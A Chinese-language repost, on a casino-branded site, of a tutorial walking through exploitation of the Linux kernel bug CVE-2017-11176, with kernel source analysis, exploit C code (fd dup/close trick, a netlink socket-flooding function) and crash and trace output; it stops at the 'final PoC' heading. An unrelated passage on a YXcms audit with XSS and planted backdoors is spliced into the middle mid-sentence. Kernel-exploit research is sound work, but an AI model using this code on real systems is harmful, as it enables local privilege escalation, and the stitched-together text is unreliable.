CVE-2017-11176: 一步一步linux内核破绽应用 (一)(PoC) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2017-11176: 一步一步linux内核破绽应用 (一)(PoC)

申博_新闻事件 申博 180次浏览 已收录 0个评论

使第二次轮回中的fget()返回NULL

到现在为止,在用户态下知足了触发破绽的三个前提之一。TODO:

  • 使netlink_attachskb()返回1
  • [DONE]exp线程消除壅塞
  • 使第二次fget()挪用返回NULL

在本节中,将实验使第二次fget()挪用返回NULL。这会使得在第二个轮回时期跳到“退出途径”:

retry:
            filp = fget(notification.sigev_signo);
            if (!filp) {
                ret = -EBADF;
                goto out;           // <--------- on the second loop only!
            }

为何fget()会返回NULL?

经由历程System Tap,能够看到重置FDT中的对应文件描述符会使得fget()返回NULL:

struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails

fget()的作用:

  • 检索以后历程的“struct files_struct”
  • 在files_struct中检索“struct fdtable”
  • 取得“fdt->fd[fd]”的值(一个“struct file”指针)
  • “struct file”的援用计数(若是不为NULL)加1
  • 返回“struct file”指针

简而言之,若是特定文件描述符在FDT中为NULL,则fget()返回NULL。

NOTE:若是不记得一切这些构造之间的干系,请参考Core Concept#1。

重置文件描述符表中的条目

在stap剧本中,重置了文件描述符“3”的fdt条目(拜见上一节)。怎样在用户态下做到这点?怎样将FDT条目设置为NULL?谜底:close()体系挪用。

这是一个简化版本(没有锁也没有失足处置惩罚):

// [fs/open.c]

    SYSCALL_DEFINE1(close, unsigned int, fd)
    {
      struct file * filp;
      struct files_struct *files = current->files;
      struct fdtable *fdt;
      int retval;

[0]   fdt = files_fdtable(files);
[1]   filp = fdt->fd[fd];
[2]   rcu_assign_pointer(fdt->fd[fd], NULL); // <----- equivalent to: fdt->fd[fd] = NULL
[3]   retval = filp_close(filp, files);
      return retval;
    }

close()体系挪用:

  • [0] – 检索以后历程的FDT
  • [1] – 检索FDT中与fd联系关系的struct file指针
  • [2] – 将FDT对应条目置为NULL(无前提)
  • [3] – 文件对象删除援用(即挪用fput())

我们有了一个简朴的要领(无前提地)重置FDT条目。然则,它带来了另外一个题目……

先有蛋照样先有鸡题目

unblock_thread线程挪用setsockopt()之前挪用close()异常诱人。题目是setsockopt()需要一个有用的文件描述符!已经由历程system tap实验过。在用户态下一样遇到了这个题目……

在挪用setsocktopt()以后再挪用close()会怎样?若是我们在挪用setsockopt()(消除主线程壅塞)以后再挪用close(),窗口期就会很小

荣幸的是有一种要领!在Core Concept#1中,已说过文件描述符表不是1:1映照。几个文件描述符能够指向同一个文件对象。怎样使两个文件描述符指向雷同的文件对象?dup()体系挪用

// [fs/fcntl.c]

    SYSCALL_DEFINE1(dup, unsigned int, fildes)
    {
      int ret = -EBADF;
[0]   struct file *file = fget(fildes);

      if (file) {
[1]     ret = get_unused_fd();
        if (ret >= 0)
[2]       fd_install(ret, file); // <----- equivalent to: current->files->fdt->fd[ret] = file
        else
          fput(file);
      }
[3]   return ret;
    }

dup()完全符合要求:

  • [0] – 依据文件描述符猎取响应的struct file指针。
  • [1] – 挑选下一个“未运用/可用”的文件描述符。
  • [2] – 设置fdt中新文件描述符([1]处取得)对应条目为响应struct file指针([0]处取得)。
  • [3] – 返回新的fd。

末了,我们将有两个文件描述符指向雷同文件对象:

  • sock_fd:在mq_notify()和close()运用
  • unblock_fd:在setsockopt()中运用

更新exp

更新exp(增添close/dup挪用并修正setsockopt()参数):

struct unblock_thread_arg
{
  int sock_fd;
  int unblock_fd;     // <----- used by the "unblock_thread"
  bool is_ready;
};

static void* unblock_thread(void *arg)
{
  // ... cut ...

  sleep(5); // gives some time for the main thread to block

  printf("[unblock] closing %d fd\n", uta->sock_fd);
  _close(uta->sock_fd);                               // <----- close() before setsockopt()

  printf("[unblock] unblocking now\n");
  if (_setsockopt(uta->unblock_fd, SOL_NETLINK,       // <----- use "unblock_fd" now!
                  NETLINK_NO_ENOBUFS, &val, sizeof(val)))
    perror("setsockopt");
  return NULL;
}

int main(void)
{
  // ... cut ...

  if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0)         // <----- dup() after socket() 
  {
    perror("dup");
    goto fail;
  }
  printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);

  // ... cut ...
}

删除stap剧本中重置FDT条目的行,然后运转:

-={ CVE-2017-11176 Exploit }=-
[main] netlink socket created = 3
[main] netlink fd duplicated = 4
[main] creating unblock thread...
[main] unblocking thread has been created!
[main] get ready to block
[unblock] closing 3 fd
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!

<<< KERNEL CRASH >>>

ALERT COBRA:第一次内核瓦解!开释后重用

瓦解的缘由将在第3局部中举行研讨。

长话短说:由于挪用了dup(),挪用close()不会真的开释netlink_sock对象(只是削减了一次援用)。netlink_detachskb()实际上删除netlink_sock的末了一个援用(并开释它)。末了,在顺序退出时期触发开释后重用,退出时封闭“unblock_fd”文件描述符。

“retry”途径

这节会睁开局部内核代码。如今间隔完全的PoC只需一步之遥。

TODO:

  • 使netlink_attachskb()返回1
  • [DONE]exp线程消除壅塞
  • [DONE]使第二次fget()挪用返回NULL

为了实行到retry途径,需要netlink_attachskb()返回1,必须要知足第一个前提并消除线程壅塞(已做到了):

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
    {
      struct netlink_sock *nlk;
      nlk = nlk_sk(sk);

[0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
      {
        // ... cut ...
        return 1;
      }
      // normal path
      return 0;
    }

若是知足以下前提之一,则前提[0]为真::

  • sk_rmem_alloc大于sk_rcvbuf
  • nlk->state最低有用位不为0。

现在经由历程stap剧本设置“nlk->state”的最低有用位:

struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1;

然则将套接字状况标记为“堵塞”(最低有用位)对照贫苦,只需内核态下内存分派失利才会设置这一位。这会使体系进入不稳定状况。

相反,将实验增添sk_rmem_alloc的值,该值透露表现sk的吸收缓冲区“以后”巨细。

添补吸收缓冲区

在本节中,将实验知足第一个前提,即“吸收缓冲区已满?”:

atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf

struct sock(在netlink_sock中)具有以下字段:

  • sk_rcvbuf:吸收缓冲区“理论上”最大巨细(以字节为单元)
  • sk_rmem_alloc:吸收缓冲区的“以后”巨细(以字节为单元)
  • sk_receive_queue:“skb”双链表(收集缓冲区)

NOTE:sk_rcvbuf是“理论上的”,由于吸收缓冲区的“以后”巨细实际上能够大于它。

在运用stap(第1局部)输出netlink sock构造时,有:

- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120

有两种要领使这个前提竖立:

  • 将sk_rcvbuf减小到0以下(sk_rcvbuf是整型(在我们运用的内核版本中))
  • 将sk_rmem_alloc增添到133120字节巨细以上

削减sk_rcvbuf

sk_rcvbuf在一切sock对象中通用,能够经由历程sock_setsockopt修正(运用SOL_SOCKET参数):

// from [net/core/sock.c]

    int sock_setsockopt(struct socket *sock, int level, int optname,
            char __user *optval, unsigned int optlen)
    {
      struct sock *sk = sock->sk;
      int val;

      // ... cut  ...

      case SO_RCVBUF:
[0]     if (val > sysctl_rmem_max)
          val = sysctl_rmem_max;
    set_rcvbuf:
        sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
[1]     if ((val * 2) < SOCK_MIN_RCVBUF)
          sk->sk_rcvbuf = SOCK_MIN_RCVBUF;          
        else  
          sk->sk_rcvbuf = val * 2;                 
        break;

      // ... cut (other options handling) ...
    }

当看到这类范例的代码时,要注意每一个表达式的范例

NOTE:“有标记/无标记范例混用”能够存在很多破绽,将较大的范例(u64)转换成较小的范例(u32)时也是云云。这一般会致使整型溢出或范例转换题目。

在我们运用的内核中有:

  • sk_rcvbuf:int
  • val:int
  • sysctl_rmem_max:__u32
  • SOCK_MIN_RCVBUF:由于“sizeof()”而“改变”为size_t

SOCK_MIN_RCVBUF界说:

#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))

一般有标记整型与无标记整型夹杂运用时,有标记整型会转换成无标记整型。

假定“val”为负数。在[0]处,会被转换为无标记范例(由于sysctl_rmem_max范例为“__u32”)。val会被置为sysctl_rmem_max(负数转换成无标记数会很大)。

纵然“val”没有被转换为“__u32”,也不会知足第二个前提[1]。末了被限定在[SOCK_MIN_RCVBUF,sysctl_rmem_max]之间(不是负数)。以是只能修正sk_rmem_alloc而不是sk_rcvbuf字段。

回到“一般”途径

如今是时刻回到自最先以来一向疏忽的器械:mq_notify()“一般”途径。从观点上讲,当套接字吸收缓冲区已满时实行“retry途径”,那末一般情况下能够会添补吸收缓冲区

netlink_attachskb():

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
    {
      struct netlink_sock *nlk;
      nlk = nlk_sk(sk);
      if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
          // ... cut (retry path) ...
      }
      skb_set_owner_r(skb, sk);       // <----- what about this ?
      return 0;
    }

因而,一般情况下会挪用skb_set_owner_r():

static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
    {
      WARN_ON(skb->destructor);
      __skb_orphan(skb);
      skb->sk = sk;
      skb->destructor = sock_rfree;
[0]   atomic_add(skb->truesize, &sk->sk_rmem_alloc);  // sk->sk_rmem_alloc += skb->truesize
      sk_mem_charge(sk, skb->truesize);
    }

skb_set_owner_r()中会使sk_rmem_alloc增添skb->truesize。那末能够屡次挪用mq_notify()直到吸收缓冲区已满?不幸的是不克不及如许做。

在mq_notify()的一般实行历程当中,会一最先就竖立一个skb(称为“cookie”),并经由历程netlink_attachskb()将其附加到netlink_sock,已引见过这局部内容。然后netlink_sock和skb都联系关系到属于音讯行列的“mqueue_inode_info”(参考mq_notify的一般途径)。

题目是一次只能有一个(cookie)“skb”与mqueue_inode_info相联系关系。第二次挪用mq_notify()将会失利并返回“-EBUSY”毛病。只能增添sk_rmem_alloc一次(关于给定的音讯行列),其实不足以(只需32个字节)使它大于sk_rcvbuf。

实际上能够能够竖立多个音讯行列,有多个mqueue_inode_info对象并屡次挪用mq_notify()。或许也能够运用mq_timedsend()体系挪用将音讯推送到行列中。只是不想在这里研讨另外一个子体系(mqueue),而且对峙运用“通用的”内核途径(sendmsg),以是我们不会如许做。

能够经由历程skb_set_owner_r()增添sk_rmem_alloc。

netlink_unicast()

netlink_attachskb()能够会经由历程挪用skb_set_owner_r()增添sk_rmem_alloc。netlink_attachskb()函数能够由netlink_unicast()挪用。让我们做一个自底向上的剖析来搜检怎样体系挪用到netlink_unicast():

- skb_set_owner_r
- netlink_attachskb
- netlink_unicast   
- netlink_sendmsg   // there is a lots of "other" callers of netlink_unicast
- sock->ops->sendmsg()          
- __sock_sendmsg_nosec()
- __sock_sendmsg()
- sock_sendmsg()
- __sys_sendmsg()
- SYSCALL_DEFINE3(sendmsg, ...)

由于netlink_sendmsg()是netlink套接字的proto_ops(中心观点#1),以是能够经由历程sendmsg()挪用它。

从sendmsg()体系挪用到sendmsg的proto_ops(sock->ops->sendmsg())的通用代码途径将在第3局部中细致引见。如今先假定能够很随意马虎挪用netlink_sendmsg()。

从netlink_sendmsg()到netlink_unicast()

sendmsg()体系挪用声明:

size_t  sendmsg (int  sockfd , const  struct  msghdr  * msg , int  flags );

在msg和flags参数中设置对应值从而挪用netlink_unicast();

struct msghdr {
     void         *msg_name;       /* optional address */
     socklen_t     msg_namelen;    /* size of address */
     struct iovec *msg_iov;        /* scatter/gather array */
     size_t        msg_iovlen;     /* # elements in msg_iov */
     void         *msg_control;    /* ancillary data, see below */
     size_t        msg_controllen; /* ancillary data buffer len */
     int           msg_flags;      /* flags on received message */
  };

  struct iovec
  {
    void __user     *iov_base;
    __kernel_size_t iov_len;
  };

在本节中,将从代码揣摸参数值,并逐渐竖立我们的“束缚”列表。如许做会使内核实行我们想要的途径。这就是内核破绽应用的素质。在函数的末端处才会挪用netlink_unicast()。需要知足一切前提……

static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,
             struct msghdr *msg, size_t len)
    {
      struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
      struct sock *sk = sock->sk;
      struct netlink_sock *nlk = nlk_sk(sk);
      struct sockaddr_nl *addr = msg->msg_name;
      u32 dst_pid;
      u32 dst_group;
      struct sk_buff *skb;
      int err;
      struct scm_cookie scm;
      u32 netlink_skb_flags = 0;

[0]   if (msg->msg_flags&MSG_OOB)
        return -EOPNOTSUPP;

[1]   if (NULL == siocb->scm)
        siocb->scm = &scm;

      err = scm_send(sock, msg, siocb->scm, true);
[2]   if (err < 0)
        return err;

      // ... cut ...

      err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);   // <---- our target

    out:
      scm_destroy(siocb->scm);
      return err;
    }

不设置MSG_OOB标记以知足[0]处前提。这是第一个束缚:msg->msg_flags没有设置MSG_OOB

[1]处的前提为真,由于在__sock_sendmsg_nosec()中会将“siocb->scm”置为NULL。末了,scm_send()返回值非负[2],代码:

static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
                   struct scm_cookie *scm, bool forcecreds)
{
    memset(scm, 0, sizeof(*scm));
    if (forcecreds)
        scm_set_cred(scm, task_tgid(current), current_cred());
    unix_get_peersec_dgram(sock, scm);
    if (msg->msg_controllen <= 0)     // <----- this need to be true...
        return 0;                     // <----- ...so we hit this and skip __scm_send()
    return __scm_send(sock, msg, scm);
}

第二个束缚:msg->msg_controllen即是零(范例为size_t,没有负值)。

继承:

// ... netlink_sendmsg() continuation ...

[0]   if (msg->msg_namelen) {
        err = -EINVAL;
[1]     if (addr->nl_family != AF_NETLINK)
          goto out;
[2a]    dst_pid = addr->nl_pid;
[2b]    dst_group = ffs(addr->nl_groups);
        err =  -EPERM;
[3]     if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))
          goto out;
        netlink_skb_flags |= NETLINK_SKB_DST;
      } else {
        dst_pid = nlk->dst_pid;
        dst_group = nlk->dst_group;
      }

      // ... cut ...

这个有点顺手。这块代码取决于“sender”套接字是不是已衔接到目的(receiver)套接字。若是已衔接,则“nlk->dst_pid”和“nlk->dst_group”都已被赋值。然则这里不想衔接到receiver套接字(有反作用),以是会接纳第一个分支。msg->msg_namelen不为零[0]。

AWD代码审计—YXcms1.4.7

0x01 前言 最近清理电脑时翻出去年一次线下AWD比赛的源码,正好最近还有线下awd比赛要准备,于是又审了审,那次比赛的源码也相对较简单,这里做个记录分享给大家。 0x02 概述 官方的YXcms1.4.7这个版本存在好几个严重漏洞,但基本都在后台,前台有一个储存型XSS,要利用也需与管理员交互。说实话这几个漏洞都很鸡肋。 由于时间较短,选手也不太可能完整地审计完这个cms。比赛方对源码做了一些修改,留了几个后门。 0x03 漏洞分析 0x03.1 前台储存型XSS 网站是mvc路由模式,很容易就可以找到对应的代码文件。前台没有过滤措施,留言内容直接插到了数据库: 后台读取也没有过滤,文件位置protected/apps/admin/controller/extendfieldController.php: public function mesedit()
{
$tableid=intval($_GET[‘tabid’]);
if(!$this->checkConPower(‘extend’,$tableid)) $this->error(‘您没有权限管理此独立表内容~’);
$id=intval($_GET[‘id’]);//信息id
if(empty($tableid) || empty($id) ) $this->error(‘参数错误~’);
$tableinfo = model(‘extend’)->select(“id='{$tableid}’ OR pid='{$tableid}'”,’id,tableinfo,name,type,defvalue’,’

看一下函数的开首局部,“addr”是另外一个可控的参数:msg->msg_name。经由历程[2a]和[2b],能够挑选恣意的“dst_group”和“dst_pid”。掌握这些能够做到:

  • dst_group == 0:发送单播音讯而不是播送(参考man 7 netlink)
  • dst_pid!= 0:与我们挑选的receiver套接字(用户态)通讯。0代表“与内核通讯”(浏览手册!)。

将其转换成束缚前提(msg_name被转换为sockaddr_nl范例):

msg->msg_name->dst_group 即是零
msg->msg_name->dst_pid 即是“目的”套接字的nl_pid

这里另有一个隐含的前提是netlink_allowed(sock,NL_NONROOT_SEND) [3]返回非零值:

static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
  return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));
}

由于运转exp的用户黑白特权用户,以是没有CAP_NET_ADMIN。独一设置了“NL_NONROOT_SEND”标记的“netlink协定”是NETLINK_USERSOCK以是“sender”套接字必须具有NETLINK_USERSOCK协定

别的[1],需要使msg->msg_name->nl_family即是AF_NETLINK

继承:

[0]   if (!nlk->pid) {
[1]     err = netlink_autobind(sock);
        if (err)
          goto out;
      }

没法掌握[0]处的前提,由于在套接字竖立时期,套接字的pid会被设置为零(悉数构造体由sk_alloc()清零)。后面会议论这点,如今先假定netlink_autobind() [1]会为sender套接字找到“可用”的pid而且不会失足。在第二次挪用sendmsg()时将不知足前提[0],此时已设置“nlk->pid”。继承:

err = -EMSGSIZE;
[0]   if (len > sk->sk_sndbuf - 32)
        goto out;
      err = -ENOBUFS;
      skb = alloc_skb(len, GFP_KERNEL);
[1]   if (skb == NULL)
        goto out;

“len”在__sys_sendmsg()中盘算。这是“一切iovec长度的总和”。因而,一切iovecs的长度总和必须小于sk->sk_sndbuf减去32[0]。为了简朴起见,将运用单个iovec:

  • msg->msg_iovlen即是1 //单个iovec
  • msg->msg_iov->iov_len小于即是sk->sk_sndbuf减去32
  • msg->msg_iov->iov_base必须是用户空间可读 //不然__sys_sendmsg()将失足

末了一个束缚意味着msg->msg_iov也必须指向用户空间可读地区(不然__sys_sendmsg()将失足)。

NOTE:“sk_sndbuf”等同于“sk_rcvbuf”但指的是发送缓冲区。能够经由历程sock_getsockopt()“SO_SNDBUF”参数取得它的值。

[1]处的前提不该该为真。若是为真,则意味着内核以后耗尽了内存而且处于对exp来讲很糟的状况。不该该继承实行exp,不然很能够会失利,更糟的是会内核瓦解!

能够疏忽下一个代码块(不需要知足任何前提),“siocb->scm”构造体由scm_send()初始化:

NETLINK_CB(skb).pid   = nlk->pid;
      NETLINK_CB(skb).dst_group = dst_group;
      memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
      NETLINK_CB(skb).flags = netlink_skb_flags;

继承:

err = -EFAULT;
[0]   if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {
        kfree_skb(skb);
        goto out;
      }

[0]处的搜检不会有题目,已供应可读的iovec,不然之前的__sys_sendmsg()就已失足(前一个束缚)。

[0]   err = security_netlink_send(sk, skb);
      if (err) {
        kfree_skb(skb);
        goto out;
      }

Linux平安模块(LSM,比方SELinux)搜检。若是没法知足此前提,那就需要找另外一条途径来实行netlink_unicast()或另外一种要领来增添“sk_rmem_alloc”(提醒:或许能够实验netlink_dump())。假定在目的机械上知足此前提。

末了:

[0]   if (dst_group) {
        atomic_inc(&skb->users);
        netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);
      }
[1]   err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);

还记得之前将“dst_group”赋值为”msg->msg_name->dst_group”吧。由于它为零,将跳过[0]处代码… 末了挪用netlink_unicast()

总结一下从netlink_sendmsg()实行到netlink_unicast()所要知足的前提:

  • msg->msg_flags没有设置MSG_OOB
  • msg->msg_controllen即是0
  • msg->msg_namelen不为0
  • msg->msg_name->nl_family即是AF_NETLINK
  • msg->msg_name->nl_groups即是0
  • msg->msg_name->nl_pid不为0,指向receiver套接字
  • sender套接字必须运用NETLINK_USERSOCK协定
  • msg->msg_iovlen即是1
  • msg->msg_iov是一个可读的用户态地点
  • msg->msg_iov->iov_len小于即是sk_sndbuf减32
  • msg->msg_iov->iov_base是一个可读的用户态地点

这是内核破绽应用的局部历程。剖析每一个搜检,强制实行特定的内核途径,定制体系挪用参数等。实际上,竖立此束缚前提列表的时候其实不长。有些途径比这更庞杂。

继承前进,下一步是netlink_attachskb()。

从netlink_unicast()到netlink_attachskb()

这个应当比前一个更轻易。经由历程以下参数挪用netlink_unicast():

netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
  • sk是sender套接字
  • skb是套接字缓冲区,由msg->msg_iov->iov_base指向的数据添补,巨细为msg->msg_iov->iov_len
  • dst_pid是可控的pid(msg->msg_name->nl_pid)指向receiver套接字
  • msg->msg_flasg&MSG_DONTWAIT透露表现netlink_unicast()是不是应壅塞

WARNING:在netlink_unicast()代码中,“ssk”是sender套接字,“sk”是receiver套接字。

netlink_unicast()代码:

int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
            u32 pid, int nonblock)
    {
      struct sock *sk;
      int err;
      long timeo;

      skb = netlink_trim(skb, gfp_any());   // <----- ignore this

[0]   timeo = sock_sndtimeo(ssk, nonblock);
    retry:
[1]   sk = netlink_getsockbypid(ssk, pid);
      if (IS_ERR(sk)) {
        kfree_skb(skb);
        return PTR_ERR(sk);
      }
[2]   if (netlink_is_kernel(sk))
        return netlink_unicast_kernel(sk, skb, ssk);

[3]   if (sk_filter(sk, skb)) {
        err = skb->len;
        kfree_skb(skb);
        sock_put(sk);
        return err;
      }

[4]   err = netlink_attachskb(sk, skb, &timeo, ssk);
      if (err == 1)
        goto retry;
      if (err)
        return err;

[5]   return netlink_sendskb(sk, skb);
    }

在[0]处,sock_sndtimeo()依据nonblock参数设置timeo(超时)的值。由于我们不想壅塞(nonblock>0),timeo将为零。msg->msg_flags必须设置MSG_DONTWAIT

在[1]处,依据pid取得receiver套接字“sk”。鄙人一节中会有申明,在经由历程netlink_getsockbypid()取得receiver套接字之前需要先将其绑定

在[2]处,receiver套接字不克不及是“内核”套接字。若是一个netlink套接字 设置了NETLINK_KERNEL_SOCKET标记,则它被标记为“内核”套接字,这些套接字经由历程netlink_kernel_create()函数竖立。不幸的是,NETLINK_GENERIC协定就是其中之一。以是需要将receiver套接字协定更改成NETLINK_USERSOCK

在[3]处,BPF套接字过滤器能够正在见效。但若是没有为receiver套接字竖立任何BPF过滤器,则能够不消管它。

在[4]处挪用了netlink_attachskb()!在netlink_attachskb()中,确保实行以下途径之一:

  • receiver缓冲区未满:挪用skb_set_owner_r() -> 增添sk_rmem_alloc
  • receiver缓冲区已满:netlink_attachskb()不壅塞直接返回-EAGAIN

能够晓得什么时候吸收缓冲区已满(只需要搜检sendmsg()的毛病代码)

末了,在[5]处挪用netlink_sendskb()将skb增添到吸收缓冲区列表中,并删除经由历程netlink_getsockbypid()猎取的(receiver套接字)援用。好极了!:-)

更新束缚列表:

  • msg->msg_flags设置MSG_DONTWAIT
  • receiver套接字必须在挪用sendmsg()之前绑定
  • receiver套接字必须运用NETLINK_USERSOCK协定
  • 不要为receiver套接字界说任何BPF过滤器

如今异常靠近完全的PoC。只需绑定receiver套接字就好了。

绑定receiver套接字

与任何套接字通讯一样,两个套接字能够运用“地点”举行通讯。由于正在运用netlink套接字,在这里将运用“struct sockaddr_nl”范例:

struct sockaddr_nl {
   sa_family_t     nl_family;  /* AF_NETLINK */
   unsigned short  nl_pad;     /* Zero. */
   pid_t           nl_pid;     /* Port ID. */
   __u32           nl_groups;  /* Multicast groups mask. */
};

由于不想成为“播送组”的一局部,因而nl_groups必须为0。这里独一主要的字段是“nl_pid”。

基本上,netlink_bind()有两条途径:

  • nl_pid不为0:挪用netlink_insert()
  • nl_pid为0:挪用netlink_autobind(),后者又挪用netlink_insert()

若是运用已分派的pid挪用netlink_insert()将发生“-EADDRINUSE”毛病。不然会在nl_pid和netlink套接字 之间竖立映照干系。即如今能够经由历程netlink_getsockbypid()取得netlink套接字。另外,netlink_insert()会将套接字援用计数加1。在末了的PoC中这一点很主要。

NOTE:第4局部将细致引见“pid:netlink_sock”映照存储体式格局。

虽然挪用netlink_autobind()更天然一点,但我们实际上是经由历程赓续实验pid值(autobind的作用,找以后未运用的pid值)来模仿netlink_autobind功用(不晓得为何如许做…主如果懒…),直到bind()胜利。如许做许可我们直接猎取目的nl_pid值而不挪用getsockname(),而且(能够)简化调试(不肯定:-))。

译者注:正本应当nl_pid为0,然后挪用bind的,但原文作者直接设置nl_pid为118然后赓续递增实验bind(),直到胜利。netlink_autobind应当会猎取以后未运用的pid值。

整合

肯定一切实行途径花了很长时候,但如今是时刻在exp中完成这一局部并终究杀青目的:netlink_attachskb()返回1

步调:

  • 竖立两个AF_NETLINK套接字运用NETLINK_USERSOCK协定
  • 绑定目的(receiver)套接字(末了它的吸收缓冲区必须已满)
  • [可选]实验削减目的套接字的吸收缓冲区(削减挪用sendmsg())
  • sender套接字经由历程sendmsg()像目的套接字发送大批数据,直到返回EAGAIN毛病
  • 封闭sender套接字(不再需要)

能够自力运转下面代码以考证一切一般:

static int prepare_blocking_socket(void)
{
  int send_fd;
  int recv_fd;
  char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()
  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = 118, // must different than zero
    .nl_groups = 0 // no groups
  };

  struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf)
  };

  struct msghdr mhdr = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = &iov,
    .msg_iovlen = 1,
    .msg_control = NULL,
    .msg_controllen = 0,
    .msg_flags = 0, 
  };

  printf("[ ] preparing blocking netlink socket\n");

  if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
      (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
  {
    perror("socket");
    goto fail;
  }
  printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

  // simulate netlink_autobind()
  while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
  {
    if (errno != EADDRINUSE)
    {
      perror("[-] bind");
      goto fail;
    }
    addr.nl_pid++;
  }

  printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

  if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
    perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
  else
    printf("[+] receive buffer reduced\n");

  printf("[ ] flooding socket\n");
  while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)  // <----- don't forget MSG_DONTWAIT
    ;
  if (errno != EAGAIN)  // <----- did we failed because the receive buffer is full ?
  {
    perror("[-] sendmsg");
    goto fail;
  }
  printf("[+] flood completed\n");

  _close(send_fd);

  printf("[+] blocking socket ready\n");
  return recv_fd;

fail:
  printf("[-] failed to prepare block socket\n");
  return -1;
}

经由历程system tap搜检效果。从如今最先,System Tap仅用于视察内核,不再修正任何内容。请记得删除将套接字标记为壅塞的行,然后运转:

(2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 msg=0xffff880006137f18 len=0x2800)
(socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1
(2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0)
(2768-2768) [netlink] <<== netlink_autobind = 0
(2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?)
(2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800)
(2768-2768) [skb] <<== skb_put = ffff880006150000
(2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=0x2800)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [iovec] <<== memcpy_fromiovec = 0
(2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0x76 nonblock=0x40)
(2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?)
(2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840)
(2768-2768) [sk] <<== sk_filter = 0
(2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 timeo=0xffff880006137ae0 ssk=0xffff880006173c00)
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 0                               // <-----
- sk->sk_rcvbuf = 2312                                // <-----
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_attachskb = 0
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 10504                           // <-----
- sk->sk_rcvbuf = 2312                                // <-----
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_unicast = 2800
(2768-2768) [netlink] <<== netlink_sendmsg = 2800
(2768-2768) [SYSCALL] <<== sendmsg= 10240

如今知足了“吸收缓冲区已满”的前提(sk_rmem_alloc>sk_rcvbuf)。下一次挪用mq_attachskb()将返回1!

更新TODO列表:

  • [DONE]使netlink_attachskb()返回1
  • [DONE]exp线程消除壅塞
  • [DONE]使第二次fget()挪用返回NULL

悉数做完了?还差一点…

终究PoC

